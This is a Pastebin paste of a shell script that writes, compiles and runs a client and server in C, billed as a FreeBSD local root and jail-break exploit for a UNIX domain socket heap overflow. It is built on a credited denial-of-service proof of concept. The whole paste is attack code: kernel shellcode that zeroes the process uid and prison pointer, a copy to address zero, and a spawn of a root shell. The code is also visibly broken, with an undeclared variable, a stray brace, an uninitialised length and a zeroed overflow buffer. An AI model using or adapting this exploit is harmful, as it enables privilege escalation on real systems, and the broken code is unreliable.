Advertisement
Guest User

Untitled

a guest
Aug 18th, 2013
189
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.08 KB | None | 0 0
  1. #!/bin/sh
  2. # HaqNET PROP3R localroot exploit for the UNIX domain socket overfl0w
  3. # fbsd-uipc-heapx.sh -Original DoS by Shaun Colley <scolley@ioactive.com> 29/09/11
  4. # PoC local DoS for the Freebsd UNiX domain sockets heap overflow.
  5. # This was tested on Freebsd 8.2-RELEASE && 7.3-RELEASE
  6. # see advisory & patches for details:
  7. # http://www.securityfocus.com/archive/1/519864/30/0/threaded
  8. # PoC will usually result in a kernel panic with a read access
  9. # violation at 0x616161XX but sometimes the kernel will not crash straight
  10. # away (particularly if you shorten the length of 'sun_path' -- try 140 bytes)
  11. # and your uid (see output of `id`) may have been modified to the
  12. # decimal equivalent of 0x61616161 during the heap smash
  13. ###############################################################################
  14. ################ debug and change how you like it.. DONT change sun_path buffer,it is setup right
  15. ################ should NOT d0s local box
  16. ################ feedback? HaqNET.NET // SSL IRCD
  17. # server
  18. cat > srv.c << _EOF
  19. #include <stdio.h>
  20. #include <unistd.h>
  21. #include <stdlib.h>
  22. #include <sys/socket.h>
  23. #include <sys/un.h>
  24. #include <sys/types.h>
  25. #include <sys/event.h>
  26. #include <fcntl.h>
  27. #include <sys/param.h>
  28. #include <sys/linker.h>
  29. #include <sys/proc.h>
  30. #include <string.h>
  31.  
  32. volatile int gotroot = 0;
  33. static void kernelcode(void) {
  34. struct thread *thread;
  35. gotroot = 1;
  36. asm(
  37. "movl %%fs:0, %0"
  38. : "=r"(thread)
  39. );
  40. thread->td_proc->p_ucred->cr_uid = 0;
  41. thread->td_proc->p_ucred->cr_prison = NULL; // jaillll break!
  42. return;
  43. }
  44.  
  45. static void code_end(void) {
  46. return;
  47. }
  48.  
  49. struct socky {
  50. short sun_family;
  51. char sun_path[140];
  52. };
  53.  
  54. int connhandler(int incoming) {
  55. char buffer[256];
  56. int n = 0;
  57. n = read(incoming, buffer, 256);
  58. buffer[n] = 0;
  59. printf("%s\n", buffer);
  60. n = sprintf(buffer, "~ FreeBSD uIPC socket heap overflow explo1t - HaqNET ~");
  61. write(incoming, buffer, n);
  62. //close(incoming);
  63. return 0;
  64. }
  65.  
  66. int main(void) {
  67. struct socky overfl0w;
  68. int sock, incoming;
  69. socklen_t alen;
  70. pid_t child;
  71. char buf[160];
  72. sock = socket(PF_UNIX, SOCK_STREAM, 0);
  73. if(sock < 0) {
  74. printf("socket fail\n");
  75. return 1;
  76. }
  77. memset(&overfl0w, 0, sizeof(struct socky));
  78. overfl0w.sun_family = AF_UNIX;
  79. //memset(buf, 0x61, sizeof(buf)); // 0x61 = crash c0de
  80. memset(buf, 0, sizeof(buf));
  81. buf[sizeof(buf)-1] = 0x00;
  82. strcpy(overfl0w.sun_path, buf);
  83. memcpy(0, &kernelcode, &code_end - &kernelcode);
  84. if(bind(sock, (struct sockaddr *)&overfl0w,sizeof(struct socky)) != 0) {
  85. printf("bind fail\n");
  86. return 1;
  87. }
  88. if(listen(sock, 5) != 0) {
  89. printf("listen fail\n");
  90. return 1;
  91. }
  92. while((incoming = accept(sock, (struct sockaddr *)&overfl0w, &alen)) > -1) {
  93. child = fork();
  94. if(child == 0) {
  95. while (!gotroot && i++ < 4000)
  96. usleep(100);
  97. setuid(0);
  98. execl("/bin/sh", "/bin/sh", NULL);
  99. return connhandler(incoming);
  100. //setuid(0);
  101. //execl("/bin/sh", "/bin/sh", NULL);
  102. }
  103. //close(incoming);
  104. }
  105. close(sock);
  106. return 0;
  107. }
  108. }
  109. _EOF
  110.  
  111. gcc srv.c -o srv
  112.  
  113. #client
  114. cat > cli.c << _EOF
  115. #include <stdio.h>
  116. #include <unistd.h>
  117. #include <sys/socket.h>
  118. #include <sys/un.h>
  119. #include <string.h>
  120. #include <sys/linker.h>
  121. #include <sys/proc.h>
  122.  
  123. struct socky {
  124. short sun_family;
  125. char sun_path[140];
  126. };
  127.  
  128. int main(void) {
  129. int i;
  130. struct socky overfl0w;
  131. int sock, n;
  132. char buffer[256], buf[160];
  133. sock = socket(PF_UNIX, SOCK_STREAM, 0);
  134. if(sock < 0) {
  135. printf("socket fail\n");
  136. return 1;
  137. }
  138. memset(&overfl0w, 0, sizeof(struct sockaddr_un));
  139. overfl0w.sun_family = AF_UNIX;
  140. //memset(buf, 0x61, sizeof(buf)); // 0x61 = crash / local d0s
  141. memset(buf, 0, sizeof(buf));
  142. buf[sizeof(buf)-1] = 0x00;
  143. strcpy(overfl0w.sun_path, buf);
  144. //memcpy(0, &kernelcode, &code_end - &kernelcode);
  145. if(connect(sock,(struct sockaddr *)&overfl0w,sizeof(struct socky)) != 0) {
  146. printf("connect fail\n");
  147. return 1;
  148. }
  149. //n = snprintf(buffer, 256, "panic");
  150. write(sock, buffer, n);
  151. n = read(sock, buffer, 256);
  152. buffer[n] = 0;
  153. printf("%s\n", buffer);
  154. //setuid(0);
  155. //execl("/bin/sh", "/bin/sh", NULL);
  156. //close(sock);
  157. return 0;
  158. }
  159. _EOF
  160. gcc cli.c -o cli
  161. ./cli &
  162. ./srv
  163.  
  164.  
  165. #if(!debug) {
  166. #printf("listen fail\n");
  167. #return 1;
  168. #}
  169. #id
  170. #whoami
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement